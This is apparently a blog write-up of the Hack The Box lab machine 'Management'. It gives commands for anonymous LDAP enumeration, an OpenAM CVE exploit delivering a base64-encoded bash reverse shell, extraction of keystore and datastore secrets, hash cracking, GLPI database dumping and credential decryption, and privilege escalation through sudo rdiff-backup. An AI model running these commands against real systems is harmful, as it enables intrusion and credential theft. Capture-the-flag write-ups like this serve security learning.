HTB: Management
← Back to the log
October 20, 2026·Johnytiger

HTB: Management

An anonymous LDAP bind and an OpenAM foothold kick this one off, then it's a long grind through OpenAM keystore secrets, a GLPI database, and an encryption key we abuse to finally recover owen's password. From there a NOPASSWD rdiff-backup lets us restore root's files and read the flag.

securityctfwriteuphacktheboxlinuxopenamldapglpirceprivilege escalation

Kicking things off with an nmap scan, we've got a few domains to add to our hosts file: a Java RMI app on 1689/45097 and LDAP on 50389 with anonymous bind allowed.

The nmap scan showing a Java RMI app and an LDAP service on 50389 with anonymous bind allowed

Let's first hit that LDAP with ldapsearch.

ldapsearch -x -h 10.129.112.154 -p 50389 -s base -b "" namingContexts

An anonymous ldapsearch pulling the naming contexts off the directory

Noted. Heading over to the domain, it's some kind of management system with a client login portal.

The management system client login portal in the browser, an OpenAM sign-in page

Let's try to ID the system.

curl -sk 'https://sso.management.htb/openam/oauth2/..;/ccversion/Version'

A curl to the ccversion endpoint leaking the OpenAM version information

The version year is 2024, and there's a 2026 CVE that could possibly work on this. Let's try it out, CVE-2026-33439.

Lining up a 2026 OpenAM CVE against the identified version

This might work. Let's get a base64-encoded reverse shell set up.

echo 'bash -i >& /dev/tcp/10.10.14.x/9001 0>&1' | base64 -w0
python3 exploit.py --timeout 5 --url https://sso.management.htb/openam/ui/PWResetUserValidation 'echo <base64 from the command above> | base64 -d | bash'

The exploit landing a reverse shell as the openam user, our first foothold

We get access as the openam user! Great, we've got a foothold. Let's upgrade our shell and run some basic linux enumeration: check /etc/passwd, look for writable files and permission issues.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Basic linux enumeration checking passwd, writable files and permissions

We have a few things to work with here, including writable access under /dev and a few things going on in there. Let's run linPEAS and see what we can find.

linPEAS flagging writable access under the dev directory and a few other leads

We have the directory to the OpenAM app, so let's go looking for config files.

find /opt/openam -maxdepth 3 -type d 2>/dev/null

Finding the OpenAM application config directories full of xml, logs and a database

That config/xml is looking juicy, along with those log files and a database.

cat /opt/openam/config/openam/.storepass
cat /opt/openam/config/openam/.keypass

Reading the storepass and keypass files and recovering the keystore password

We get a password. This is the keystore password, so let's note it down and move on. We're looking for owen's password, so let's head over to that db and snoop around a bit.

The OpenAM datastore holding several encrypted passwords that need a key to decrypt

We find a few encrypted passwords, but we need a key to decrypt them. Let's keep looking around.

strings -n 6 /opt/openam/config/opends/db/userRoot/.jdb | grep -o 'am.encryption.pwd=[^ <&"]*' | sort -u | head

Pulling the am encryption password out of the datastore with strings

There it is. Let's note this down and crack those encrypted passwords. We base64-decode them, throw them into a file for hashcat, and BAM, one of them cracks.

hashcat cracking one of the decoded password blobs into a very soft password

What a soft password. Let's spray that across the system and try to log in as owen over SSH.

Spraying the cracked password and trying to SSH in as owen, which fails

It doesn't work, but we have this password now, so let's try that ldapsearch again. After trying a few things with no luck, we take a step back and look at the decoded passwords from the blob, and find one that actually works for the ldapsearch.

A decoded password from the blob finally working for an authenticated ldapsearch

Running that, we get a userPassword we can attempt to crack.

ldapsearch -x -h 10.129.112.154 -p 50389 -D "cn=Directory Manager" -w 'rCi5i6A7zqAf' -b "dc=management,dc=htb" "(|(objectclass=person)(objectclass=inetorgperson)(objectclass=inetuser))" '*' + | tee /tmp/people.ldif
grep -iE 'dn:|cn:|uid:|userpassword|owen|castellan|account|description' /tmp/people.ldif

The authenticated ldapsearch dumping directory entries including a userPassword to crack

We get demo, and we already have their password "changeit". We need to enumerate some more, we're getting stuck here.

Turning up the demo account whose password changeit we already know, another dead end

There's another app running on here we have yet to enumerate. Let's give it a go.

find /opt/glpi /var/www/management -name 'config_db.php' 2>/dev/null -exec cat {} \;

Finding the GLPI database config file with its DB user and password

We get a DB user and password, great. Let's log into MySQL and enumerate the database.

mysql -u glpi -p'8rhu0L6Pw4Y7' glpidb -e 'select id,name,password,is_active from glpi_users;'

Logging into MySQL and dumping the GLPI users table for more hashes

It's a hit, we've got more hashes to crack. After going through all of these and spraying across every hole I can find, we achieve absolutely nothing lmao. Back to the linPEAS results, we must have missed something. There's a config file in the /opt/glpi/ directory carrying a .key we can decrypt using the vendor autoload, also found in the glpi vendor directory.

ls -la /opt/glpi/config/*.key
php -r 'require "/opt/glpi/vendor/autoload.php"; $k=new GLPIKey(); var_dump($k->decrypt("avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw=="));' 2>&1 | tail -40

Using the GLPI encryption key and vendor autoload to decrypt a stored credential

After a lot of trial and error, we finally get it decrypted and recover owen's password.

su - owen

We get access to owen and grab that user.txt flag.

Switching to the owen user and reading the user flag, blurred

Checking sudo, owen can run rdiff-backup as root with NOPASSWD. We can abuse that to pull root's files and read the root flag.

sudo listing showing owen can run rdiff-backup as root with no password

rdiff-backup -v5 \
  --remote-schema 'sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only {h}' \
  -- '--restrict-path=/::/root' /tmp/rootloot

Abusing rdiff-backup to restore root files into tmp and read the root flag, blurred

This box was pretty hard, no idea why it says easy. It took me on a wild ride all around town looking for ins and outs through the entire thing. Fun, but I would not recommend it to a beginner.

End of transmissionAll posts
Drive
Johnytiger
HTB: Management · Johnytiger